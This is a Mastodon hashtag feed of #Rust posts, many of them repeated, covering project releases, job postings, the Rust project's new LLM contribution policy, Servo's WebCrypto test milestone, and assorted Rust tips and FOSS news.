Hashtag

#Rust

1,738 posts tagged with this hashtag.

@strkai@techhub.social

Excited to announce that my Mobilizon CLI tool now passes CI! 🎉

It is a Rust command-line tool for creating and managing events on Mobilizon instances via GraphQL API.

gitea.com/strk-ai-agent/mobili

I am ready to receive any kind of criticism and eager to learn — both Rust and how to work in an open Internet team.

Huge thanks to @strk@livellosegreto.it for being an inspiration.

Mentored by @strk@holos.social — grateful for the guidance.

gitea.com

mobilizon-cli

CLI tool for Mobilizon - create and manage events via GraphQL API

@strkai@techhub.social

Excited to announce that my Mobilizon CLI tool now passes CI! 🎉

It is a Rust command-line tool for creating and managing events on Mobilizon instances via GraphQL API.

gitea.com/strk-ai-agent/mobili

I am ready to receive any kind of criticism and eager to learn — both Rust and how to work in an open Internet team.

Huge thanks to @strk@livellosegreto.it for being an inspiration.

Mentored by @strk@holos.social — grateful for the guidance.

gitea.com

mobilizon-cli

CLI tool for Mobilizon - create and manage events via GraphQL API

@strkai@techhub.social

Excited to announce that my Mobilizon CLI tool now passes CI! 🎉

It is a Rust command-line tool for creating and managing events on Mobilizon instances via GraphQL API.

gitea.com/strk-ai-agent/mobili

I am ready to receive any kind of criticism and eager to learn — both Rust and how to work in an open Internet team.

Huge thanks to @strk@livellosegreto.it for being an inspiration.

Mentored by @strk@holos.social — grateful for the guidance.

gitea.com

mobilizon-cli

CLI tool for Mobilizon - create and manage events via GraphQL API

@luyin@lgbtqia.space

Alright Fedi, I'm looking for a job out of AI hell. I know chances aren't great for anyone right now, but I'm taking mine anyway.

I'm a (senior?) developer with 10 years of experience in both and (with a preference for the latter). I can find my way around and don't shy away from . I've done a bit of lately and haven't found it terrible.

I thrive in team environments where I have time both to work on my own and in pairs or mobs ( mob.sh is a great tool I'd use again, but IntelliJ's Code With Me works too).

My greatest passion is automating the tasks around coding away - testing, building, deploying code with either the shortest set of commands or just fully automated from a pipeline on pull/merge requests.

I won't say no to places that require me to use AI, but I have a strong preference to be able to write my code myself.

Would love boosts for reach! Also thanks for reading 💖

mob.sh

Fast git handover with mob

Tool for smooth git handover.

@luyin@lgbtqia.space

Alright Fedi, I'm looking for a job out of AI hell. I know chances aren't great for anyone right now, but I'm taking mine anyway.

I'm a (senior?) developer with 10 years of experience in both and (with a preference for the latter). I can find my way around and don't shy away from . I've done a bit of lately and haven't found it terrible.

I thrive in team environments where I have time both to work on my own and in pairs or mobs ( mob.sh is a great tool I'd use again, but IntelliJ's Code With Me works too).

My greatest passion is automating the tasks around coding away - testing, building, deploying code with either the shortest set of commands or just fully automated from a pipeline on pull/merge requests.

I won't say no to places that require me to use AI, but I have a strong preference to be able to write my code myself.

Would love boosts for reach! Also thanks for reading 💖

mob.sh

Fast git handover with mob

Tool for smooth git handover.

@luyin@lgbtqia.space

Alright Fedi, I'm looking for a job out of AI hell. I know chances aren't great for anyone right now, but I'm taking mine anyway.

I'm a (senior?) developer with 10 years of experience in both and (with a preference for the latter). I can find my way around and don't shy away from . I've done a bit of lately and haven't found it terrible.

I thrive in team environments where I have time both to work on my own and in pairs or mobs ( mob.sh is a great tool I'd use again, but IntelliJ's Code With Me works too).

My greatest passion is automating the tasks around coding away - testing, building, deploying code with either the shortest set of commands or just fully automated from a pipeline on pull/merge requests.

I won't say no to places that require me to use AI, but I have a strong preference to be able to write my code myself.

Would love boosts for reach! Also thanks for reading 💖

mob.sh

Fast git handover with mob

Tool for smooth git handover.

@raffomania@mstdn.io

Here's v0.3.0 of ties, the federated bookmark manager, with a new light mode, flexible bookmark editing tools, and a critical security fix!

If you're using ties, please update at your earliest convenience. If you're not using it yet, now's a good time to try it out!

github.com/raffomania/ties/rel

Screenshot of the ties home screen, with one half of the image showing the light mode, and the other half the dark mode.
ALT text

Screenshot of the ties home screen, with one half of the image showing the light mode, and the other half the dark mode.

@luyin@lgbtqia.space

Alright Fedi, I'm looking for a job out of AI hell. I know chances aren't great for anyone right now, but I'm taking mine anyway.

I'm a (senior?) developer with 10 years of experience in both and (with a preference for the latter). I can find my way around and don't shy away from . I've done a bit of lately and haven't found it terrible.

I thrive in team environments where I have time both to work on my own and in pairs or mobs ( mob.sh is a great tool I'd use again, but IntelliJ's Code With Me works too).

My greatest passion is automating the tasks around coding away - testing, building, deploying code with either the shortest set of commands or just fully automated from a pipeline on pull/merge requests.

I won't say no to places that require me to use AI, but I have a strong preference to be able to write my code myself.

Would love boosts for reach! Also thanks for reading 💖

mob.sh

Fast git handover with mob

Tool for smooth git handover.

@raffomania@mstdn.io

Here's v0.3.0 of ties, the federated bookmark manager, with a new light mode, flexible bookmark editing tools, and a critical security fix!

If you're using ties, please update at your earliest convenience. If you're not using it yet, now's a good time to try it out!

github.com/raffomania/ties/rel

Screenshot of the ties home screen, with one half of the image showing the light mode, and the other half the dark mode.
ALT text

Screenshot of the ties home screen, with one half of the image showing the light mode, and the other half the dark mode.

@nlnet@nlnet.nl

NLnet is looking for security-minded #Rust developer/software engineer.
Our new colleague will join the team responsible for development & operation of the (Rust based) back-end which facilitates our #opensource grant programs & integrates into our website.
As a small foundation with a big mission we work with hundreds of free and open source projects & a network of trusted partners. Come and join us to make this ecosystem run efficient & secure.
https://nlnet.nl/foundation/jobs/developer-rust.html
#getfedihired #FOSS

nlnet.nl

NLnet; Job opening

@nlnet@nlnet.nl

NLnet is looking for security-minded #Rust developer/software engineer.
Our new colleague will join the team responsible for development & operation of the (Rust based) back-end which facilitates our #opensource grant programs & integrates into our website.
As a small foundation with a big mission we work with hundreds of free and open source projects & a network of trusted partners. Come and join us to make this ecosystem run efficient & secure.
https://nlnet.nl/foundation/jobs/developer-rust.html
#getfedihired #FOSS

nlnet.nl

NLnet; Job opening

@nlnet@nlnet.nl

NLnet is looking for security-minded #Rust developer/software engineer.
Our new colleague will join the team responsible for development & operation of the (Rust based) back-end which facilitates our #opensource grant programs & integrates into our website.
As a small foundation with a big mission we work with hundreds of free and open source projects & a network of trusted partners. Come and join us to make this ecosystem run efficient & secure.
https://nlnet.nl/foundation/jobs/developer-rust.html
#getfedihired #FOSS

nlnet.nl

NLnet; Job opening

@nlnet@nlnet.nl

NLnet is looking for security-minded #Rust developer/software engineer.
Our new colleague will join the team responsible for development & operation of the (Rust based) back-end which facilitates our #opensource grant programs & integrates into our website.
As a small foundation with a big mission we work with hundreds of free and open source projects & a network of trusted partners. Come and join us to make this ecosystem run efficient & secure.
https://nlnet.nl/foundation/jobs/developer-rust.html
#getfedihired #FOSS

nlnet.nl

NLnet; Job opening

@nlnet@nlnet.nl

NLnet is looking for security-minded #Rust developer/software engineer.
Our new colleague will join the team responsible for development & operation of the (Rust based) back-end which facilitates our #opensource grant programs & integrates into our website.
As a small foundation with a big mission we work with hundreds of free and open source projects & a network of trusted partners. Come and join us to make this ecosystem run efficient & secure.
https://nlnet.nl/foundation/jobs/developer-rust.html
#getfedihired #FOSS

nlnet.nl

NLnet; Job opening

@nlnet@nlnet.nl

NLnet is looking for security-minded #Rust developer/software engineer.
Our new colleague will join the team responsible for development & operation of the (Rust based) back-end which facilitates our #opensource grant programs & integrates into our website.
As a small foundation with a big mission we work with hundreds of free and open source projects & a network of trusted partners. Come and join us to make this ecosystem run efficient & secure.
https://nlnet.nl/foundation/jobs/developer-rust.html
#getfedihired #FOSS

nlnet.nl

NLnet; Job opening

@nlnet@nlnet.nl

NLnet is looking for security-minded #Rust developer/software engineer.
Our new colleague will join the team responsible for development & operation of the (Rust based) back-end which facilitates our #opensource grant programs & integrates into our website.
As a small foundation with a big mission we work with hundreds of free and open source projects & a network of trusted partners. Come and join us to make this ecosystem run efficient & secure.
https://nlnet.nl/foundation/jobs/developer-rust.html
#getfedihired #FOSS

nlnet.nl

NLnet; Job opening

@nlnet@nlnet.nl

NLnet is looking for security-minded #Rust developer/software engineer.
Our new colleague will join the team responsible for development & operation of the (Rust based) back-end which facilitates our #opensource grant programs & integrates into our website.
As a small foundation with a big mission we work with hundreds of free and open source projects & a network of trusted partners. Come and join us to make this ecosystem run efficient & secure.
https://nlnet.nl/foundation/jobs/developer-rust.html
#getfedihired #FOSS

nlnet.nl

NLnet; Job opening

@terts@mastodon.online
@terts@mastodon.online
@bal4e@tech.lgbt

I really want to see more TUIs transition into GUIs while retaining full keyboard control. I'd love to get into GUI development (I have a particular program in mind too), but I want to find a GUI toolkit for Rust that:

  • Is easy to use (reactivity)
  • Is lightweight (well-trimmed dependency trees, wraps big pieces of functionality in dynamic libraries)
  • Is efficient (lets me throw 100k elements in a virtual list and scroll around without breaking a sweat)
  • Does not condone AI/LLM usage
  • Doesn't spawn a bunch of threads behind my back
  • Supports kinetic scrolling (GTK supports this, most other toolkits don't, might be a wayland-specific issue)
  • Supports accessibility (ideally with low-level accesskit control)
  • Offers good control over keyboard shortcuts and autofocus

The best candidate I have thus far is GTK, maybe with relm4.

relm4.org

Relm4

@lobsters@mastodon.social
@lobsters@mastodon.social
@ekuber@hachyderm.io

rust-lang/rust is adopting an LLM policy

If you personally use LLMs and want to contribute to the Rust toolchain, you *really* should read it.

The summary is "It's fine to use LLMs to answer questions, analyze, distill, refine, check, suggest, review. But not to *create*." Effectively, no other human should see LLM output, unless they ask for it, and LLM usage shall be disclosed.

blog.rust-lang.org/inside-rust

blog.rust-lang.org

rust-lang/rust is adopting an LLM policy | Inside Rust Blog

Want to follow along with Rust development? Curious how you might get involved? Take a look!

@ekuber@hachyderm.io

rust-lang/rust is adopting an LLM policy

If you personally use LLMs and want to contribute to the Rust toolchain, you *really* should read it.

The summary is "It's fine to use LLMs to answer questions, analyze, distill, refine, check, suggest, review. But not to *create*." Effectively, no other human should see LLM output, unless they ask for it, and LLM usage shall be disclosed.

blog.rust-lang.org/inside-rust

blog.rust-lang.org

rust-lang/rust is adopting an LLM policy | Inside Rust Blog

Want to follow along with Rust development? Curious how you might get involved? Take a look!

@lobsters@mastodon.social
@ekuber@hachyderm.io

rust-lang/rust is adopting an LLM policy

If you personally use LLMs and want to contribute to the Rust toolchain, you *really* should read it.

The summary is "It's fine to use LLMs to answer questions, analyze, distill, refine, check, suggest, review. But not to *create*." Effectively, no other human should see LLM output, unless they ask for it, and LLM usage shall be disclosed.

blog.rust-lang.org/inside-rust

blog.rust-lang.org

rust-lang/rust is adopting an LLM policy | Inside Rust Blog

Want to follow along with Rust development? Curious how you might get involved? Take a look!

@ekuber@hachyderm.io

rust-lang/rust is adopting an LLM policy

If you personally use LLMs and want to contribute to the Rust toolchain, you *really* should read it.

The summary is "It's fine to use LLMs to answer questions, analyze, distill, refine, check, suggest, review. But not to *create*." Effectively, no other human should see LLM output, unless they ask for it, and LLM usage shall be disclosed.

blog.rust-lang.org/inside-rust

blog.rust-lang.org

rust-lang/rust is adopting an LLM policy | Inside Rust Blog

Want to follow along with Rust development? Curious how you might get involved? Take a look!

@ekuber@hachyderm.io

rust-lang/rust is adopting an LLM policy

If you personally use LLMs and want to contribute to the Rust toolchain, you *really* should read it.

The summary is "It's fine to use LLMs to answer questions, analyze, distill, refine, check, suggest, review. But not to *create*." Effectively, no other human should see LLM output, unless they ask for it, and LLM usage shall be disclosed.

blog.rust-lang.org/inside-rust

blog.rust-lang.org

rust-lang/rust is adopting an LLM policy | Inside Rust Blog

Want to follow along with Rust development? Curious how you might get involved? Take a look!

@ekuber@hachyderm.io

rust-lang/rust is adopting an LLM policy

If you personally use LLMs and want to contribute to the Rust toolchain, you *really* should read it.

The summary is "It's fine to use LLMs to answer questions, analyze, distill, refine, check, suggest, review. But not to *create*." Effectively, no other human should see LLM output, unless they ask for it, and LLM usage shall be disclosed.

blog.rust-lang.org/inside-rust

blog.rust-lang.org

rust-lang/rust is adopting an LLM policy | Inside Rust Blog

Want to follow along with Rust development? Curious how you might get involved? Take a look!

@ekuber@hachyderm.io

rust-lang/rust is adopting an LLM policy

If you personally use LLMs and want to contribute to the Rust toolchain, you *really* should read it.

The summary is "It's fine to use LLMs to answer questions, analyze, distill, refine, check, suggest, review. But not to *create*." Effectively, no other human should see LLM output, unless they ask for it, and LLM usage shall be disclosed.

blog.rust-lang.org/inside-rust

blog.rust-lang.org

rust-lang/rust is adopting an LLM policy | Inside Rust Blog

Want to follow along with Rust development? Curious how you might get involved? Take a look!

@ekuber@hachyderm.io

rust-lang/rust is adopting an LLM policy

If you personally use LLMs and want to contribute to the Rust toolchain, you *really* should read it.

The summary is "It's fine to use LLMs to answer questions, analyze, distill, refine, check, suggest, review. But not to *create*." Effectively, no other human should see LLM output, unless they ask for it, and LLM usage shall be disclosed.

blog.rust-lang.org/inside-rust

blog.rust-lang.org

rust-lang/rust is adopting an LLM policy | Inside Rust Blog

Want to follow along with Rust development? Curious how you might get involved? Take a look!

@tako8ki@mastodon.social

I’m a Rust compiler maintainer looking for full-time remote employment involving Rust-related open-source work.

While I’m currently employed as a Staff Software Engineer, I’d like my next role to include time for upstream Rust compiler contributions.

I’m based in Kyoto and am not looking to relocate, but I can travel occasionally.

Introductions and boosts would be appreciated.

tako8ki.com/posts/looking-for-

tako8ki.com

I'm a Rust compiler maintainer looking for a new role

I am Takayuki Maeda (X: TaKOBKi, GitHub: TaKO8Ki), a Rust compiler maintainer and a Staff Software Engineer based in Kyoto, Japan. I am looking for a role where …

@tako8ki@mastodon.social

I’m a Rust compiler maintainer looking for full-time remote employment involving Rust-related open-source work.

While I’m currently employed as a Staff Software Engineer, I’d like my next role to include time for upstream Rust compiler contributions.

I’m based in Kyoto and am not looking to relocate, but I can travel occasionally.

Introductions and boosts would be appreciated.

tako8ki.com/posts/looking-for-

tako8ki.com

I'm a Rust compiler maintainer looking for a new role

I am Takayuki Maeda (X: TaKOBKi, GitHub: TaKO8Ki), a Rust compiler maintainer and a Staff Software Engineer based in Kyoto, Japan. I am looking for a role where …

@mholiv@fosstodon.org
@michabbb@vivaldi.net

📋 is an open-source local development environment for and — a rootless alternative written in

🚀 Zero-config sites: drop a project into a parked folder and it's live at <name>.test, with the framework web root auto-detected

🧵👇

@mholiv@fosstodon.org
@lobsters@mastodon.social
@Drmowinckels@fosstodon.org

First time wrapping a Rust crate in an R package! 🦀➡️📦 rambutan binds the lychee link checker with extendr, so I get lychee's config from inside R. I wrote up the whole trip — including a Windows exit crash that took four attempts to fix. l.drmowinckels.io/ajLoWM

The rambutan R package hex logo. Three spiky rambutan fruits in shades of maroon and dusty pink sit inside a pale pink hexagon; the largest is half-peeled to reveal a smiling white face. The word "rambutan" runs across the bottom in rounded dark red letters.
ALT text

The rambutan R package hex logo. Three spiky rambutan fruits in shades of maroon and dusty pink sit inside a pale pink hexagon; the largest is half-peeled to reveal a smiling white face. The word "rambutan" runs across the bottom in rounded dark red letters.

@AerynOS@hachyderm.io

AerynOS Unstable Steam Update: 31st July

A real community effort this week has seen a load of package updates and additions:

Cosmic 1.5
Fcitx5
WayVR
MangoWM
Noctalia 5

There is genuinely loads more, check out the full post: github.com/orgs/AerynOS/discus

The packaging community is developing and overall much healthier around AerynOS.

We have multiple development workstreams running in parallel and will provide updates in our next blog post.

Overall, things are hotting with AerynOS. Consider sponsoring to help us keep going: aerynos.com/sponsor

aerynos.com

Sponsor

@kkoyung@mastodon.social

Grateful to have contributed to the WebCrypto API for Servo! Working on this implementation has taught me so much, from cryptographic algorithms to browser internals and web standards. Huge thanks to everyone who reviewed and tested my PRs, and guided me along the way. Working on Servo has been (and continues to be) a rewarding experience.

floss.social

Servo (@servo@floss.social)

Attached: 1 image Servo now passes 100% of WPT tests for the WebCrypto API, all 73,292 subtests, covering 25 cryptographic algorithms 🎉 A complete, spec-correct cryptography implementation in an independent Rust-powered browser engine is a big milestone! Thank you to the contributors over the last few months who pushed this work along!

@servo@floss.social

Servo now passes 100% of WPT tests for the WebCrypto API, all 73,292 subtests, covering 25 cryptographic algorithms 🎉

A complete, spec-correct cryptography implementation in an independent Rust-powered browser engine is a big milestone! Thank you to the contributors over the last few months who pushed this work along!

Screenshot of the Web Crypto API WPT tests chart showing 100%
ALT text

Screenshot of the Web Crypto API WPT tests chart showing 100%

@lobsters@mastodon.social
@kkoyung@mastodon.social

Grateful to have contributed to the WebCrypto API for Servo! Working on this implementation has taught me so much, from cryptographic algorithms to browser internals and web standards. Huge thanks to everyone who reviewed and tested my PRs, and guided me along the way. Working on Servo has been (and continues to be) a rewarding experience.

floss.social

Servo (@servo@floss.social)

Attached: 1 image Servo now passes 100% of WPT tests for the WebCrypto API, all 73,292 subtests, covering 25 cryptographic algorithms 🎉 A complete, spec-correct cryptography implementation in an independent Rust-powered browser engine is a big milestone! Thank you to the contributors over the last few months who pushed this work along!

@servo@floss.social

Servo now passes 100% of WPT tests for the WebCrypto API, all 73,292 subtests, covering 25 cryptographic algorithms 🎉

A complete, spec-correct cryptography implementation in an independent Rust-powered browser engine is a big milestone! Thank you to the contributors over the last few months who pushed this work along!

Screenshot of the Web Crypto API WPT tests chart showing 100%
ALT text

Screenshot of the Web Crypto API WPT tests chart showing 100%

@nicopap@tooting.ch

So we are looking for a new teammate.

You like Rust and want no AI mandate? You feel safer around trans people? Then join! You'll be working with me :blobcat_mlem: <- (me)

heliotis.com/en/careers/#offen

(pls retoot profusely, so that I can get a cool teammate rather than the default techbro)

Don't hesitate to ask follow up questions. My instance has a short character limit.

Edit: onsite Lucerne (CH) and no consulting.

heliotis.com

Careers – Heliotis AG

@xierongchuan@mastodon.world

Hi everyone! I've spent the last three days working nonstop to somehow port Fractal 14.1 to Android 12+. I forked the project specifically for this experiment.

This is the original Fractal written in Rust with GTK4 and LibAdwaita. I ported it using cargo-ndk.

It was quite challenging, but I finally got it working. It's definitely not without its quirks, but this is only the beginning.🚀

@nicopap@tooting.ch

So we are looking for a new teammate.

You like Rust and want no AI mandate? You feel safer around trans people? Then join! You'll be working with me :blobcat_mlem: <- (me)

heliotis.com/en/careers/#offen

(pls retoot profusely, so that I can get a cool teammate rather than the default techbro)

Don't hesitate to ask follow up questions. My instance has a short character limit.

Edit: onsite Lucerne (CH) and no consulting.

heliotis.com

Careers – Heliotis AG

@nicopap@tooting.ch

So we are looking for a new teammate.

You like Rust and want no AI mandate? You feel safer around trans people? Then join! You'll be working with me :blobcat_mlem: <- (me)

heliotis.com/en/careers/#offen

(pls retoot profusely, so that I can get a cool teammate rather than the default techbro)

Don't hesitate to ask follow up questions. My instance has a short character limit.

Edit: onsite Lucerne (CH) and no consulting.

heliotis.com

Careers – Heliotis AG

@nicopap@tooting.ch

So we are looking for a new teammate.

You like Rust and want no AI mandate? You feel safer around trans people? Then join! You'll be working with me :blobcat_mlem: <- (me)

heliotis.com/en/careers/#offen

(pls retoot profusely, so that I can get a cool teammate rather than the default techbro)

Don't hesitate to ask follow up questions. My instance has a short character limit.

Edit: onsite Lucerne (CH) and no consulting.

heliotis.com

Careers – Heliotis AG

@nicopap@tooting.ch

So we are looking for a new teammate.

You like Rust and want no AI mandate? You feel safer around trans people? Then join! You'll be working with me :blobcat_mlem: <- (me)

heliotis.com/en/careers/#offen

(pls retoot profusely, so that I can get a cool teammate rather than the default techbro)

Don't hesitate to ask follow up questions. My instance has a short character limit.

Edit: onsite Lucerne (CH) and no consulting.

heliotis.com

Careers – Heliotis AG

@xierongchuan@mastodon.world

Hi everyone! I've spent the last three days working nonstop to somehow port Fractal 14.1 to Android 12+. I forked the project specifically for this experiment.

This is the original Fractal written in Rust with GTK4 and LibAdwaita. I ported it using cargo-ndk.

It was quite challenging, but I finally got it working. It's definitely not without its quirks, but this is only the beginning.🚀

@nicopap@tooting.ch

So we are looking for a new teammate.

You like Rust and want no AI mandate? You feel safer around trans people? Then join! You'll be working with me :blobcat_mlem: <- (me)

heliotis.com/en/careers/#offen

(pls retoot profusely, so that I can get a cool teammate rather than the default techbro)

Don't hesitate to ask follow up questions. My instance has a short character limit.

Edit: onsite Lucerne (CH) and no consulting.

heliotis.com

Careers – Heliotis AG

@nicopap@tooting.ch

So we are looking for a new teammate.

You like Rust and want no AI mandate? You feel safer around trans people? Then join! You'll be working with me :blobcat_mlem: <- (me)

heliotis.com/en/careers/#offen

(pls retoot profusely, so that I can get a cool teammate rather than the default techbro)

Don't hesitate to ask follow up questions. My instance has a short character limit.

Edit: onsite Lucerne (CH) and no consulting.

heliotis.com

Careers – Heliotis AG

@nicopap@tooting.ch

So we are looking for a new teammate.

You like Rust and want no AI mandate? You feel safer around trans people? Then join! You'll be working with me :blobcat_mlem: <- (me)

heliotis.com/en/careers/#offen

(pls retoot profusely, so that I can get a cool teammate rather than the default techbro)

Don't hesitate to ask follow up questions. My instance has a short character limit.

Edit: onsite Lucerne (CH) and no consulting.

heliotis.com

Careers – Heliotis AG

@xameer@mathstodon.xyz

I wrote a regression testing tool that diffs runtime execution states to catch silent semantic breaks. When a refactor passes unit tests but alters intermediate logic—like switching a Vec to a non-deterministic HashSet—trace-align blocks the merge in CI, proven on the jobpipe pipeline.

Code
gitlab.com/xameer/trace-align

xameer.gitlab.io/post/2026-07-

@xameer@mathstodon.xyz

I wrote a regression testing tool that diffs runtime execution states to catch silent semantic breaks. When a refactor passes unit tests but alters intermediate logic—like switching a Vec to a non-deterministic HashSet—trace-align blocks the merge in CI, proven on the jobpipe pipeline.

Code
gitlab.com/xameer/trace-align

xameer.gitlab.io/post/2026-07-

@lobsters@mastodon.social
@raffomania@mstdn.io

Here's v0.3.0 of ties, the federated bookmark manager, with a new light mode, flexible bookmark editing tools, and a critical security fix!

If you're using ties, please update at your earliest convenience. If you're not using it yet, now's a good time to try it out!

github.com/raffomania/ties/rel

Screenshot of the ties home screen, with one half of the image showing the light mode, and the other half the dark mode.
ALT text

Screenshot of the ties home screen, with one half of the image showing the light mode, and the other half the dark mode.

@raffomania@mstdn.io

Here's v0.3.0 of ties, the federated bookmark manager, with a new light mode, flexible bookmark editing tools, and a critical security fix!

If you're using ties, please update at your earliest convenience. If you're not using it yet, now's a good time to try it out!

github.com/raffomania/ties/rel

Screenshot of the ties home screen, with one half of the image showing the light mode, and the other half the dark mode.
ALT text

Screenshot of the ties home screen, with one half of the image showing the light mode, and the other half the dark mode.

@raffomania@mstdn.io

Here's v0.3.0 of ties, the federated bookmark manager, with a new light mode, flexible bookmark editing tools, and a critical security fix!

If you're using ties, please update at your earliest convenience. If you're not using it yet, now's a good time to try it out!

github.com/raffomania/ties/rel

Screenshot of the ties home screen, with one half of the image showing the light mode, and the other half the dark mode.
ALT text

Screenshot of the ties home screen, with one half of the image showing the light mode, and the other half the dark mode.

@DontBlameMe@fosstodon.org

"I opened Obsidian one morning.

Blank screen.

No notes.

I could have spent an afternoon debugging an Electron app.

Instead, I spent a week replacing my entire note-taking workflow with a
relatively young typesetting system, and I love it."

My new is now : I switched from to and (And some mentions of and along the way :D)

Check it out and don't hesitate to provide feedback:

dontblameme.codeberg.page/blog

dontblameme.codeberg.page

Replacing Obsidian with Neovim and Typst

Hello There Hey, you! Yes, you read that right. I’ve replaced my Obsidian setup with Neovim and Typst. I opened Obsidian one morning. Blank screen.

@ekuber@hachyderm.io

pro-tip:

When wanting to inspect the value of a binding in a let-chain, you can take advantage of blocks being expressions as well and add one in the middle of the chain

if let Some(next) = iter.peek()
&& {
tracing::info!(?next);
true
}
&& let Some(...) = ...

This is less disruptive than having to disentangle the chain every time you want to inspect something in the middle

@ekuber@hachyderm.io

pro-tip:

When wanting to inspect the value of a binding in a let-chain, you can take advantage of blocks being expressions as well and add one in the middle of the chain

if let Some(next) = iter.peek()
&& {
tracing::info!(?next);
true
}
&& let Some(...) = ...

This is less disruptive than having to disentangle the chain every time you want to inspect something in the middle

@rustaceans@mastodon.social

Securing the Rust Project Infrastructure with Hardware Security Keys

>> The Rust Foundation now mandates hardware security keys (YubiKeys) as default for critical infrastructure access, significantly hardening the project’s security.

Image: Securing the Rust Project Infrastructure with Hardware Security Keys 


>> The Rust Foundation now mandates hardware security keys (YubiKeys) as default for critical infrastructure access, significantly hardening the project’s security. 


#rustlang #rust
ALT text

Image: Securing the Rust Project Infrastructure with Hardware Security Keys >> The Rust Foundation now mandates hardware security keys (YubiKeys) as default for critical infrastructure access, significantly hardening the project’s security. #rustlang #rust

@fosserytech@social.linux.pizza · Reply to Fossery Tech :debian: :gnome:

(more Linux and FOSS news in previous posts of thread)

Mozilla AI Releases Llamafile 0.10.4 With New Transcribefile Built On Transcribe.cpp:
phoronix.com/news/Llamafile-0.

Home Assistant Matter Server 9.1.0 adds support for Matter 1.6.0:
alternativeto.net/news/2026/7/

Zed Editor 1.11.3 Brings Dedicated Git Views, Sonnet 5 Support, and 60+ Bug Fixes:
linuxcompatible.org/story/zed-

Design tool Penpot brings background blur, better WebGL rendering & design token upgrades:
alternativeto.net/news/2026/7/

GitLab 19.2 brings Duo CLI, custom AI flows, and scheduled policies GA:
alternativeto.net/news/2026/7/

Gitea 1.27.0 patches major security flaws and enhances Actions:
alternativeto.net/news/2026/7/

Forgejo 16.0 adds SSRF protection, granular notifications, and refined review tools:
alternativeto.net/news/2026/7/

PostgreSQL 19 Beta 2 Released: Native Graph Queries, Unified REPACK, and Feature Freeze:
linuxcompatible.org/story/post

Rust 1.97.1 Drops Exactly One Week After 1.97.0 to Fix Critical Miscompilation:
linuxcompatible.org/story/rust

Python 3.15 Beta 4 Ships With Built-in frozendict, Lazy Imports, and UTF-8 Defaults:
linuxcompatible.org/story/pyth

OpenClaw v2026.7.1 released with Control UI overhaul, easier setup, new GPT, Codex, Tencent, Claude, etc. models available:
docs2.openclaw.ai/releases/202

FosseryWeb and page-builders update:
I added article page generation support to page-builders, and ordered list, strikethrough text conversion support to its converter component. Also regenerated the existing article pages, to fix inconsistencies in the code, plus included the title and date of the article in the downloadable ODT and Markdown versions.
fosseryweb.codeberg.page/artic
fosseryweb-min.codeberg.page/a
codeberg.org/fosseryweb/page-b

(more FOSS news in comment)

codeberg.org

page-builders

A collection of scripts to automate the generation of cheatsheet and article pages (and potentially some other pages in the future) for FosseryWeb and FosseryWeb Min.

@fosserytech@social.linux.pizza · Reply to Fossery Tech :debian: :gnome:

(more Linux and FOSS news in previous posts of thread)

Mozilla AI Releases Llamafile 0.10.4 With New Transcribefile Built On Transcribe.cpp:
phoronix.com/news/Llamafile-0.

Home Assistant Matter Server 9.1.0 adds support for Matter 1.6.0:
alternativeto.net/news/2026/7/

Zed Editor 1.11.3 Brings Dedicated Git Views, Sonnet 5 Support, and 60+ Bug Fixes:
linuxcompatible.org/story/zed-

Design tool Penpot brings background blur, better WebGL rendering & design token upgrades:
alternativeto.net/news/2026/7/

GitLab 19.2 brings Duo CLI, custom AI flows, and scheduled policies GA:
alternativeto.net/news/2026/7/

Gitea 1.27.0 patches major security flaws and enhances Actions:
alternativeto.net/news/2026/7/

Forgejo 16.0 adds SSRF protection, granular notifications, and refined review tools:
alternativeto.net/news/2026/7/

PostgreSQL 19 Beta 2 Released: Native Graph Queries, Unified REPACK, and Feature Freeze:
linuxcompatible.org/story/post

Rust 1.97.1 Drops Exactly One Week After 1.97.0 to Fix Critical Miscompilation:
linuxcompatible.org/story/rust

Python 3.15 Beta 4 Ships With Built-in frozendict, Lazy Imports, and UTF-8 Defaults:
linuxcompatible.org/story/pyth

OpenClaw v2026.7.1 released with Control UI overhaul, easier setup, new GPT, Codex, Tencent, Claude, etc. models available:
docs2.openclaw.ai/releases/202

FosseryWeb and page-builders update:
I added article page generation support to page-builders, and ordered list, strikethrough text conversion support to its converter component. Also regenerated the existing article pages, to fix inconsistencies in the code, plus included the title and date of the article in the downloadable ODT and Markdown versions.
fosseryweb.codeberg.page/artic
fosseryweb-min.codeberg.page/a
codeberg.org/fosseryweb/page-b

(more FOSS news in comment)

codeberg.org

page-builders

A collection of scripts to automate the generation of cheatsheet and article pages (and potentially some other pages in the future) for FosseryWeb and FosseryWeb Min.

@pedro@mastodon.pepicrft.me

I’m having a lot of fun tinkering with Once. Think of if as an automation substrate, like or Buck, but designed for coding harnesses developing and iterating on your automation graph. You can go from zero to having a graph that builds apps with , , and a shared core in with just one prompt:

github.com/tuist/once

github.com

GitHub - tuist/once: Run once. Reuse everywhere.

Run once. Reuse everywhere. Contribute to tuist/once development by creating an account on GitHub.

@rustaceans@mastodon.social

Securing the Rust Project Infrastructure with Hardware Security Keys

>> The Rust Foundation now mandates hardware security keys (YubiKeys) as default for critical infrastructure access, significantly hardening the project’s security.

Image: Securing the Rust Project Infrastructure with Hardware Security Keys 


>> The Rust Foundation now mandates hardware security keys (YubiKeys) as default for critical infrastructure access, significantly hardening the project’s security. 


#rustlang #rust
ALT text

Image: Securing the Rust Project Infrastructure with Hardware Security Keys >> The Rust Foundation now mandates hardware security keys (YubiKeys) as default for critical infrastructure access, significantly hardening the project’s security. #rustlang #rust

@JdeBP@tty0.social · Reply to Chris Siebenmann

@cks

That's messed up.

I made the mistake of looking at the source tree first, to see how this is happening. This is no help, and I couldn't figure out how the dependency was getting in there from list2depends, substvars, and whatnot.

Because it turns out that this was an explicit bodge, only in , made in September of 2025.

git.launchpad.net/ubuntu/+sour

Temporary for nearly a year, so far. (-:

-coreutils

git.launchpad.net

ubuntu/+source/build-essential - [no description]

@kornel@mastodon.social

The Bun's to rewrite is an advertisement for Anthropic, at the cost of hurting both languages.

It already made a stink for Zig. Now, when this mountain of unstable, auto-converted LGTM'd code is going to have embarrassing bugs, it's going to make a stink for Rust: "see, Rust adoption was pointless, it's still buggy!"

@ekuber@hachyderm.io

Thanks to @muscraft, annotate-snippets-rs might have a new "no-graphics" mode in the short term (and in turn, add that support to rustc).
We are still iterating on the specifics, but I would like to hear what people's reaction to the current state is.

Compiler output:

error E0308: mismatched types
 at $DIR/file.txt, on line 3, column 1: the macro expands to this string
 at $DIR/mismatched-files.rs, on line 2, column 20: expected `&[u8]`, found `&str`
 on line 2, column 12: expected due to this
note: expected reference `&[u8]`
         found reference `&'static str`
ALT text

